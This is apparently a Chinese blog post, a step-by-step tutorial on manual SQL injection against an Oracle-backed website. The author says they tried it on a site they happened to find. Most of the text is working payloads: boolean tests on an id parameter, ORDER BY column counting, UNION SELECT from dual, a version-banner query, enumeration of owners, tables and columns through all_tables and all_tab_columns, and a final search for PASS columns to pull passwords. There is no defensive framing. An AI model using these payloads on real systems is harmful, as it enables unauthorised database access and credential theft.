网上关于ORACLE注入的文章也不少,自己碰到一个站,闲着没事,自己也来整理一下,当做复习,只涉及猜解数据,而且能ORDER BY的情况下。

开始还是单引号,报错
id=520 and 1=1 正常
id=520 and 1=2 出错
如果报错时不显示是ORA的错误,不确定是否是ORACLE的数据库。
id=520 and ''||'1'='1' 返回正常
id=520 and ''||'2'='1' 返回无记录
那么基本上确定是ORACLE数据库,数字型注入
接着
id=520 order by 3 --  正常
一直到
id=520 order by 18 --正常
说明有18个字段,下面进入UNION查询。
id=520 union 1=2 select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
用7个NULL来匹配对应的字段不会出现字段类型不一的情况,与mysql不同,后面的select语句必须加一个存在的表,这里是 dual。
id=520 union 1=2 select 1,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--  正常,说明第一个字段是数字型,接着
id=520 union 1=2 select 1,2,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
错误,第二个字段不是数字型
id=520 union 1=2 select 1,'2',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual--
正常,第二个字段是字符型
如果既不是数字也不是字符型,我们就用NULL代替,继续猜下一字段,
id=520 and 1=2 union select 1, '2 ', '3 ', '4', '5','6',7,8,9, '10',NULL,NULL,NULL,14,'15','16','17','18' from dual--
这个时候正常了,而且在页面的对应的位置显示对应的数字,也就是我们要找的字段。

id=520 and 1=2 union select 1, '2 ', '3 ', '4', (select banner from sys.v_$version where rownum=1),'6',7,8,9, '10',NULL,NULL,NULL,14,'15','16','17','18' from dual--
查询数据的版本,把结果显示在5对应的字段上。
继续提交


(select owner from all_tables where owner<>'SYS' and rownum=1)
得到一个库名字AAAA
(select owner from all_tables where owner<>'SYS' and owner<>'AAAA' and rownum=1)
得到第二库名字BBBB
以此类推
如果过滤了“>”、“<”号,以上方法是不行的,只有用别一种方法使用limit
(select data from (select rownum as limit,owner as data from sys.all_tables) where limit =9)

(select data from (select rownum as limit,owner as data from sys.all_tables) where limit =100)
会有此重复记录,比如说limit=9和limit=10返回的结果是一样的,如果数据库表很多的话 。

(select TABLE_NAME from all_tables where owner='AAAA'and rownum=1)
AAAA库中第一个表名,a1111
(select TABLE_NAME from all_tables where owner='AAAA'and TABLE_NAME<>'a1111' and rownum=1)
得到第二个表名,a2222
同样不用大于号,可以用limit
(select data from (select rownum as limit,TABLE_NAME as data from sys.all_tables where owner='AAAA') where limit =1)
第一个表名
(select data from (select rownum as limit,TABLE_NAME as data from sys.all_tables where owner='AAAA') where limit =2)
第二个表名


(select * from user_tab_columns where table_name='a1111' and rownum=1)
表a1111的第一个列名,1111a
(select * from user_tab_columns where table_name='a1111' and COLUMN_NAME<>'1111a' and rownum=1)
表a1111的第一个列名,2222a
或者是
(select data from (select rownum as limit,column_name as data from all_tab_columns where table_name='a1111') where limit =1)
表a1111的第一个列名,1111a


其实上面的都是没什么用的,因为如果我们要找密码的话,可以通过直接查询系统表来找到敏感的字段比较说pwd在那个表那个库,all_tables包含了所有的表的信息,想找有包含passwd的字段在哪就可以用 all_tab_columns:
(select owner||chr(35)||table_name||chr(35)||column_name from all_tab_columns where column_name like '%PASS%' and ROWNUM=1)
在oracle的系统表里数据都是大写的,所以用PASS而不是pass,就找到密码所在的库和表了,最后和其它注入一样。
(select passwd from a5555 where rownum=1)
就可以查询出密码来。

哈哈。写来写去也就是这些东西,自己做的时候好象没那么简单。